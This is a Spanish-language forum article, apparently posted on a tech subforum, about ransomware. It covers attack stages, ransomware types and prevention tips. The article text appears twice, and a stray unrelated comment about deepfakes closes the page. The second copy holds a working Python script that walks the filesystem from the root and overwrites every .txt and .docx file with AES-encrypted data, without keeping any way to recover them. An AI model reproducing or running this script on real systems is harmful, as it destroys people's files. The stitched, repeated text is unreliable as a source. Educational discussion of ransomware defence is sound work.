Hola shurmanos
Amigos de lo incierto y los sistemas seguros, volvemos a la carga con los artículos sobre software, ciberseguridad y hacking. En esta ocasión me gustaría hablaros del modelo de ataque más temido por todas las empresas, los ransomware. Hablaremos sobre cómo funcionan estos ataques, daremos una visión periférica de los daños que pueden causar estos ataques, plantearemos formas de evitarlos, cómo gestionar una situación de esta magnitud y finalmente daré un ejemplo de cómo se desarrolla un ransomware (solo es un ejemplo, guarda tu revolver vaquero).
Los ataques de ransomware son una forma común y peligrosa de hacking en la que el atacante compromete un sistema informático, codifica o elimina los archivos del dispositivo y exige a la víctima pagar un rescate (llamado "ransom") para recuperar acceso a sus datos. En muchos casos, también se realiza una copia de los datos para posteriormente extorsionar a la víctima con la venta de sus datos. Esto conlleva un problema muy grande para las empresas ya que, no solo tienen que lidiar con el ataque ransomware, sino que también deben enfrentarse a las autoridades por haber sido expuestos posibles datos de clientes y la violación de la LOPD.
A continuación expongo un itinerario de actuación por parte del atacante
Infección
El atacante envía un archivo malicioso o hace que el usuario descargue en su dispositivo el malware, ya sea mediante técnicas de phising o por motu propio. En algunos casos estos ataques también los realizan personal interno de las empresas debido a la disconformidad o la razón que considere el atacante.
Ejecución
Cuando se ejecuta el archivo, el ransomware inicia la codificación o eliminación de los archivos del sistema. Como he dicho anteriormente también pueden realizar una copia de los datos para su posterior venta en el mercado negro.
Codificación o eliminación
El ransomware utiliza algoritmos criptográficos para codificar o eliminar los archivos importantes del sistema, como documentos, multimedia, bases de datos, etc. En ocasiones estos algoritmos de codificación suelen ser creados por los atacantes y ello dificulta la recuperación de los datos, pero en otras ocasiones en las que el ransomware no es elaborado, se usan algoritmos conocidos y cabe la probabilidad de recuperación de los datos comprometidos. Sin embargo no podremos gestionar el robo de datos por la cuestión que he mencionado antes, el atacante puede realizar una copia de los datos para su posterior venta.
Exigencia de rescate
La víctima recibe un mensaje que exige el pago de un rescate (ransom) en forma de moneda electrónica, como Bitcoin, a cambio de la clave para descodificar o restaurar los archivos. Este mensaje puede manifestarse durante el ataque y aparecer en forma de aviso en todos los dispositivos comprometidos o puede ser comunicado mediante un email al personal de la empresa. Se ha visto que en ocasiones estos mensajes han sido comunicados mediante redes sociales.
Ransomware tradicional: Codifica todos los archivos del sistema y exige el pago de un rescate.
Ransomware avanzado: Elimina los archivos en lugar de codificarlos, lo que hace más difícil la recuperación.
Ransomware con doble efecto: No solo codifica o elimina archivos, sino también intenta comprometer otros dispositivos conectados a la red.
El ransomware con doble efecto es un tipo de malware que va más allá de simplemente codificar o eliminar archivos y se enfoca en comprometer otros dispositivos conectados a la red. El malware intenta comprometer otros dispositivos conectados a la red, como servidores, impresoras, escáneres y otros dispositivos IoT (Internet of Things). Aplicando una “infección lateral” se propaga desde el dispositivo inicialmente infectado hasta otros dispositivos en la red, utilizando vulnerabilidades de seguridad o credenciales débiles.
Estrategias de compromiso
1.Exploiting vulnerabilities: El ransomware explota vulnerabilidades conocidas en dispositivos conectados a la red, como servidores o impresoras.
2.Brute-force attacks: El malware aqplica fuerza bruta a credenciales débiles para acceder a otros dispositivos y sistemas.
3.Social engineering: El ransomware utiliza técnicas de ingeniería social para convencer a los usuarios de compartir sus credenciales o permitir el acceso al dispositivo.
Os doy ejemplos de este tipo de ataque con doble efecto:
WannaCry: En 2017, WannaCry fue un ejemplo de ransomware con doble efecto que infectó millones de dispositivos en todo el mundo y comprometió servidores y sistemas operativos.
NotPetya: NotPetya es otro ejemplo de ransomware con doble efecto que se propagó rápidamente a través de la red, comprometiendo servidores y dispositivos IoT.
Actualiza tus software y sistemas operativos: Asegúrate de que estén actualizados con las últimas versiones de seguridad. La mayoría, por no decir todos los sitemas operativos se actualizan semanalmente parcheando vulnerabilidades y haciendo los sistemas más seguros
Usa antivirus y antimalware: Instala un buen antivirus y antimalware en tu dispositivo. Pagar por un buen antivirus puede ahorrarnos disgustos y sobre todo pagar el rescate por los datos comprometidos
Realiza copias de seguridad regulares: Haz backups frecuentes de tus archivos importantes para recuperarlos si algo sale mal. En mis sistemas realizo copias de seguridad diarias con un protocolo automatizado. Esta práctica se lleva a cabo en la mayoría de proveedores de servicio y empresas de alojamiento web. Considera aplicarlo en tu empresa por si las moscas.
No abras correos electrónicos sospechosos: No descargues archivos a menos que estés seguro de su procedencia y contenido. Confirma el dominio desde el que recibes el correo electrónico siempre. También podemos usar software de monitorización de tráfico con filtros de malware, de esta manera podemos localizar la entrada de archivos infectados en nuestra red.
Usa contraseñas fuertes: Utiliza contraseñas complejas y cambia las credenciales periódicamente. Se recomienda usar contraseñas de mínimo treinta caracteres y cambiarlas mensualmente. Cabe la posibilidad de una filtración de credenciales. Con este protocolo de seguridad en las contraseñas, nos aseguramos de que si se han filtrado credenciales, estas ya no tengan validez alguna.
No pagues el rescate: No hay garantía de que el atacante te proporcione la clave después del pago.
Realiza una restauración desde backups: Si tienes copias de seguridad, puedes restaurar tus archivos y sistemas operativos a su estado anterior al ataque.
Informa a los autoridades: Reporta el incidente a las autoridades competentes para ayudar a prevenir futuros ataques, aunque muchas empresas son reticentes a esta actuación por no dañar su reputación.
A continuación os pongo un ejemplo MUY BASICO de cómo es un script de ransomware de pequeña escala. Yo programo con python pero se puede llevar a cabo con cualquier lenguaje de alto nivel. Estas son algunas de las opciones que tenemos a mano usando bibliotecas de python. También podéis desarrollar vuestras propias bibliotecas o frameworks.
**PyCrypto**: Es una biblioteca criptográfica para python que incluye algoritmos criptográficos avanzados como AES, RSA y SHA.
**Pynacl**: Es un paquete de cryptographic bindings for python que proporciona funciones para la codificación y descodificación de datos utilizando algoritmos criptográficos como AES-GCM y HMAC-SHA256.
**PyInstaller**: Es una herramienta que te permite crear ejecutables a partir de tus scripts python, lo que puede ser útil para distribuir tu ransomware en cualquier sistema operativo.
No voy a poner de nuevo el aviso de este artículo educativo porque sería repetitivo, pero si os voy a recomendar que no seáis gilipollas. Este tipo de ataques te pueden mandar a una bonita celda desde la que no podrás hablar con los shurmanos del foro.
Espero que este artículo te haya gustado y hayas aprendido cómo defender tus sistemas de un ataque ransomware y cómo lidiar en caso de ser víctima de uno de estos ataques. Si consideras el artículo incompleto, te ruego dejes tu aportación en los comentarios del hilo para que el resto de shurmanos aprendamos un poco más si cabe. Muchas gracias por leer y ser fiel a mis artículos y al subforo de tecnología.
Para finalizar os dejo una cita que me gusta decir a mis clientes:
"Prevenir es mejor que curar. Anticiparse es la mejor defensa."
Ale
a correr
Amigos de lo incierto y los sistemas seguros, volvemos a la carga con los artículos sobre software, ciberseguridad y hacking. En esta ocasión me gustaría hablaros del modelo de ataque más temido por todas las empresas, los ransomware. Hablaremos sobre cómo funcionan estos ataques, daremos una visión periférica de los daños que pueden causar estos ataques, plantearemos formas de evitarlos, cómo gestionar una situación de esta magnitud y finalmente daré un ejemplo de cómo se desarrolla un ransomware (solo es un ejemplo, guarda tu revolver vaquero).
…………………………………………………………………...
Este artículo se publica con fines educativos y prevención de ataques. No me hago responsable de vuestros actos. Se ruega llevar a cabo estos ataques dentro de un entorno de prácticas con máquinas virtuales o laboratorio de hacking. Repito, no me hago responsable de vuestros actos.
………………………………………………………………………….
Este artículo se publica con fines educativos y prevención de ataques. No me hago responsable de vuestros actos. Se ruega llevar a cabo estos ataques dentro de un entorno de prácticas con máquinas virtuales o laboratorio de hacking. Repito, no me hago responsable de vuestros actos.
………………………………………………………………………….
Los ataques de ransomware son una forma común y peligrosa de hacking en la que el atacante compromete un sistema informático, codifica o elimina los archivos del dispositivo y exige a la víctima pagar un rescate (llamado "ransom") para recuperar acceso a sus datos. En muchos casos, también se realiza una copia de los datos para posteriormente extorsionar a la víctima con la venta de sus datos. Esto conlleva un problema muy grande para las empresas ya que, no solo tienen que lidiar con el ataque ransomware, sino que también deben enfrentarse a las autoridades por haber sido expuestos posibles datos de clientes y la violación de la LOPD.
A continuación expongo un itinerario de actuación por parte del atacante
Infección
El atacante envía un archivo malicioso o hace que el usuario descargue en su dispositivo el malware, ya sea mediante técnicas de phising o por motu propio. En algunos casos estos ataques también los realizan personal interno de las empresas debido a la disconformidad o la razón que considere el atacante.
Ejecución
Cuando se ejecuta el archivo, el ransomware inicia la codificación o eliminación de los archivos del sistema. Como he dicho anteriormente también pueden realizar una copia de los datos para su posterior venta en el mercado negro.
Codificación o eliminación
El ransomware utiliza algoritmos criptográficos para codificar o eliminar los archivos importantes del sistema, como documentos, multimedia, bases de datos, etc. En ocasiones estos algoritmos de codificación suelen ser creados por los atacantes y ello dificulta la recuperación de los datos, pero en otras ocasiones en las que el ransomware no es elaborado, se usan algoritmos conocidos y cabe la probabilidad de recuperación de los datos comprometidos. Sin embargo no podremos gestionar el robo de datos por la cuestión que he mencionado antes, el atacante puede realizar una copia de los datos para su posterior venta.
Exigencia de rescate
La víctima recibe un mensaje que exige el pago de un rescate (ransom) en forma de moneda electrónica, como Bitcoin, a cambio de la clave para descodificar o restaurar los archivos. Este mensaje puede manifestarse durante el ataque y aparecer en forma de aviso en todos los dispositivos comprometidos o puede ser comunicado mediante un email al personal de la empresa. Se ha visto que en ocasiones estos mensajes han sido comunicados mediante redes sociales.
Tipos de ransomware
Ransomware tradicional: Codifica todos los archivos del sistema y exige el pago de un rescate.
Ransomware avanzado: Elimina los archivos en lugar de codificarlos, lo que hace más difícil la recuperación.
Ransomware con doble efecto: No solo codifica o elimina archivos, sino también intenta comprometer otros dispositivos conectados a la red.
Hagamos un inciso para hablar del ataque con doble efecto.
El ransomware con doble efecto es un tipo de malware que va más allá de simplemente codificar o eliminar archivos y se enfoca en comprometer otros dispositivos conectados a la red. El malware intenta comprometer otros dispositivos conectados a la red, como servidores, impresoras, escáneres y otros dispositivos IoT (Internet of Things). Aplicando una “infección lateral” se propaga desde el dispositivo inicialmente infectado hasta otros dispositivos en la red, utilizando vulnerabilidades de seguridad o credenciales débiles.
Estrategias de compromiso
1.Exploiting vulnerabilities: El ransomware explota vulnerabilidades conocidas en dispositivos conectados a la red, como servidores o impresoras.
2.Brute-force attacks: El malware aqplica fuerza bruta a credenciales débiles para acceder a otros dispositivos y sistemas.
3.Social engineering: El ransomware utiliza técnicas de ingeniería social para convencer a los usuarios de compartir sus credenciales o permitir el acceso al dispositivo.
Os doy ejemplos de este tipo de ataque con doble efecto:
WannaCry: En 2017, WannaCry fue un ejemplo de ransomware con doble efecto que infectó millones de dispositivos en todo el mundo y comprometió servidores y sistemas operativos.
NotPetya: NotPetya es otro ejemplo de ransomware con doble efecto que se propagó rápidamente a través de la red, comprometiendo servidores y dispositivos IoT.
Consejos para prevenir ataques ransomware
Actualiza tus software y sistemas operativos: Asegúrate de que estén actualizados con las últimas versiones de seguridad. La mayoría, por no decir todos los sitemas operativos se actualizan semanalmente parcheando vulnerabilidades y haciendo los sistemas más seguros
Usa antivirus y antimalware: Instala un buen antivirus y antimalware en tu dispositivo. Pagar por un buen antivirus puede ahorrarnos disgustos y sobre todo pagar el rescate por los datos comprometidos
Realiza copias de seguridad regulares: Haz backups frecuentes de tus archivos importantes para recuperarlos si algo sale mal. En mis sistemas realizo copias de seguridad diarias con un protocolo automatizado. Esta práctica se lleva a cabo en la mayoría de proveedores de servicio y empresas de alojamiento web. Considera aplicarlo en tu empresa por si las moscas.
No abras correos electrónicos sospechosos: No descargues archivos a menos que estés seguro de su procedencia y contenido. Confirma el dominio desde el que recibes el correo electrónico siempre. También podemos usar software de monitorización de tráfico con filtros de malware, de esta manera podemos localizar la entrada de archivos infectados en nuestra red.
Usa contraseñas fuertes: Utiliza contraseñas complejas y cambia las credenciales periódicamente. Se recomienda usar contraseñas de mínimo treinta caracteres y cambiarlas mensualmente. Cabe la posibilidad de una filtración de credenciales. Con este protocolo de seguridad en las contraseñas, nos aseguramos de que si se han filtrado credenciales, estas ya no tengan validez alguna.
Consejos para prevenir un ataque de ransomware
No pagues el rescate: No hay garantía de que el atacante te proporcione la clave después del pago.
Realiza una restauración desde backups: Si tienes copias de seguridad, puedes restaurar tus archivos y sistemas operativos a su estado anterior al ataque.
Informa a los autoridades: Reporta el incidente a las autoridades competentes para ayudar a prevenir futuros ataques, aunque muchas empresas son reticentes a esta actuación por no dañar su reputación.
Script de ejemplo de un ransomware
A continuación os pongo un ejemplo MUY BASICO de cómo es un script de ransomware de pequeña escala. Yo programo con python pero se puede llevar a cabo con cualquier lenguaje de alto nivel. Estas son algunas de las opciones que tenemos a mano usando bibliotecas de python. También podéis desarrollar vuestras propias bibliotecas o frameworks.
**PyCrypto**: Es una biblioteca criptográfica para python que incluye algoritmos criptográficos avanzados como AES, RSA y SHA.
**Pynacl**: Es un paquete de cryptographic bindings for python que proporciona funciones para la codificación y descodificación de datos utilizando algoritmos criptográficos como AES-GCM y HMAC-SHA256.
**PyInstaller**: Es una herramienta que te permite crear ejecutables a partir de tus scripts python, lo que puede ser útil para distribuir tu ransomware en cualquier sistema operativo.
……………………………………………………………………………………………….
No me hago responsable de vuestros actos. Se ruega llevar a cabo estos ataques dentro de un entorno de prácticas con máquinas virtuales o laboratorio de hacking. Repito, no me hago responsable de vuestros actos.
………………………………………………………………………………………………...
No me hago responsable de vuestros actos. Se ruega llevar a cabo estos ataques dentro de un entorno de prácticas con máquinas virtuales o laboratorio de hacking. Repito, no me hago responsable de vuestros actos.
………………………………………………………………………………………………...
Código:
# Importamos la biblioteca os para interactuar con el sistema de archivos
import os
# Importamos la clase AES de la biblioteca PyCryptodome para realizar operaciones de cifrado
from Crypto.Cipher import AES
# Configuración para el cifrado
# La clave y el vector de inicialización deben ser bytes y tener una longitud adecuada para AES (16, 24, o 32 bytes para la clave, 16 bytes para el vector)
Config = {
'key': b'aquí tu llave secreta',
'iv': b'aquí tu vector de inicialización'
}
# Definimos una función para cifrar un archivo
def encrypt_file(file_path):
# Abrimos el archivo en modo binario para lectura
with open(file_path, 'rb') as file:
data = file.read() # Leemos los datos del archivo
# Creamos un nuevo objeto de cifrado AES en modo CBC (Cipher Block Chaining)
cipher = AES.new(Config['key'], AES.MODE_CBC, Config['iv'])
# La longitud de los datos debe ser múltiplo del tamaño del bloque (16 bytes) para el cifrado en modo CBC
# Por lo tanto, debemos rellenar los datos si no lo son
padded_data = data + b' ' * (16 - len(data) % 16)
# Ciframos los datos rellenos
encrypted_data = cipher.encrypt(padded_data)
return encrypted_data # Devolvemos los datos cifrados
# Definimos una función que simula un ataque de ransomware
def ransomware_attack():
# Recorremos el sistema de archivos desde la raíz (esto puede ser peligroso en un entorno real)
for root, dirs, files in os.walk('/'):
for file in files:
# Comprobamos si el archivo tiene una extensión específica (en este caso .txt o .docx)
if file.endswith('.txt') or file.endswith('.docx'):
file_path = os.path.join(root, file) # Obtenemos la ruta completa del archivo
print(f'Codificando archivo: {file}') # Informamos que el archivo está siendo cifrado
# Ciframos el archivo y obtenemos los datos cifrados
encrypted_data = encrypt_file(file_path)
# Sobrescribimos el archivo original con los datos cifrados
with open(file_path, 'wb') as file:
file.write(encrypted_data)
# Punto de entrada del script
if __name__ == '__main__':
ransomware_attack()
Explicación del Script
- Importaciones y Configuración:
- import os: Permite recorrer el sistema de archivos.
- from Crypto.Cipher import AES: Permite utilizar el cifrado AES (Advanced Encryption Standard).
- Config: Diccionario que contiene la clave y el vector de inicialización para el cifrado. Estos valores son esenciales para cifrar y descifrar correctamente los datos.
- Función encrypt_file(file_path):
- Abre un archivo en modo lectura binaria y lee su contenido.
- Crea un objeto de cifrado AES en modo CBC utilizando la clave y el vector de inicialización.
- Los datos del archivo se rellenan para asegurar que su longitud es múltiplo del tamaño del bloque de AES (16 bytes).
- Los datos rellenados se cifran y se devuelven.
- Función ransomware_attack():
- Recorre el sistema de archivos desde la raíz.
- Para cada archivo encontrado, verifica si la extensión es .txt o .docx.
- Cifra el archivo seleccionado y sobrescribe el archivo original con los datos cifrados.
- Bloque principal:
- Si el script se ejecuta directamente, se llama a la función ransomware_attack().
No voy a poner de nuevo el aviso de este artículo educativo porque sería repetitivo, pero si os voy a recomendar que no seáis gilipollas. Este tipo de ataques te pueden mandar a una bonita celda desde la que no podrás hablar con los shurmanos del foro.
Espero que este artículo te haya gustado y hayas aprendido cómo defender tus sistemas de un ataque ransomware y cómo lidiar en caso de ser víctima de uno de estos ataques. Si consideras el artículo incompleto, te ruego dejes tu aportación en los comentarios del hilo para que el resto de shurmanos aprendamos un poco más si cabe. Muchas gracias por leer y ser fiel a mis artículos y al subforo de tecnología.
Para finalizar os dejo una cita que me gusta decir a mis clientes:
"Prevenir es mejor que curar. Anticiparse es la mejor defensa."
Ale
a correr
Supongo que ahora eso ya no funciona, pero yo personalmente no me fío. Por un lado una IA podría detectar fácilmente que lo que le ponen delante es una foto, pero no se qué pasaría con un deep fake. Quizás podría distinguir si la imagen viene de una pantalla o no... menuda paja mental me estoy haciendo.